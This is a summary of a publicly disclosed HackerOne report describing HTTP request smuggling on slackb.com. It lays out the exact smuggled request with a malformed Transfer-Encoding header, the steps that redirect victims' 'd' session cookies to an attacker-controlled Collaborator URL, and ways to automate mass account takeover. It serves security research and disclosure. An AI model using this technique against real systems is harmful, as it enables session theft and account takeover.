# Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies

CL.TE request smuggling on slackb.com poisoned the backend socket, forcing victim requests into a 301 redirect to an attacker URL that leaked the `d` session cookie, enabling mass account takeover.

- Payout: hidden
- Severity: critical
- Program: Slack
- Found by: defparam
- Disclosed: 2020-03-12
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/737140
- Library page: https://bugbountylibrary.com/r/h1%3A737140
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:critical technique:oob-exfil technique:parser-differential vuln:open-redirect vuln:request-smuggling

**Target:** slackb.com frontend/backend HTTP stack
**Root cause:** Frontend honors Content-Length while backend honors a malformed `Transfer-Encoding : chunked` header (space before colon), desyncing the socket so attacker bytes prefix the next victim request.
**Steps:**
1. Run `smuggler -u https://slackb.com`; the `space1` test flags CL.TE desync.
2. Set up Burp Collaborator and copy the server URL.
3. In Repeater send to slackb.com:443: `GET / HTTP/1.1` / `Transfer-Encoding : chunked` / `Host: slackb.com` / `User-Agent: Smuggler/v1.0` / `Content-Length: 83` / blank / `0` / blank / `GET <URL> HTTP/1.1` / `X: X`.
4. Poll Collaborator; victim requests arrive with the `d` session cookie.
5. Replay the stolen `d` cookie in a browser for account takeover.
**How found:** Ran the smuggler tool's exhaustive desync test array against in-scope assets; the `space1` test (space between `Transfer-Encoding` and `:`) failed as CL.TE rather than TECL, revealing a frontend/backend parsing differential.
**Exploitation:** The smuggled prefix re-specifies the method and endpoint so the next victim request becomes `GET https://<attacker-URL> HTTP/1.1` on slackb.com; the backend 301-redirects to that URL, sending the victim's Slack cookies (notably `d`) to the attacker's Collaborator server. Attacker replays the cookie for full session takeover and data scraping.
**Escalation:** Automating the smuggle lets an attacker harvest many victims' `d` cookies for mass account takeover across Slack orgs.
**Insight:** A single space before the colon in `Transfer-Encoding` is enough to make a frontend treat it as Content-Length while the backend still parses chunked; test malformed TE header variants (space, tab, casing) per host, and turn a poisoned socket into cookie theft by smuggling a `GET https://<collaborator>` that triggers a redirect carrying cookies.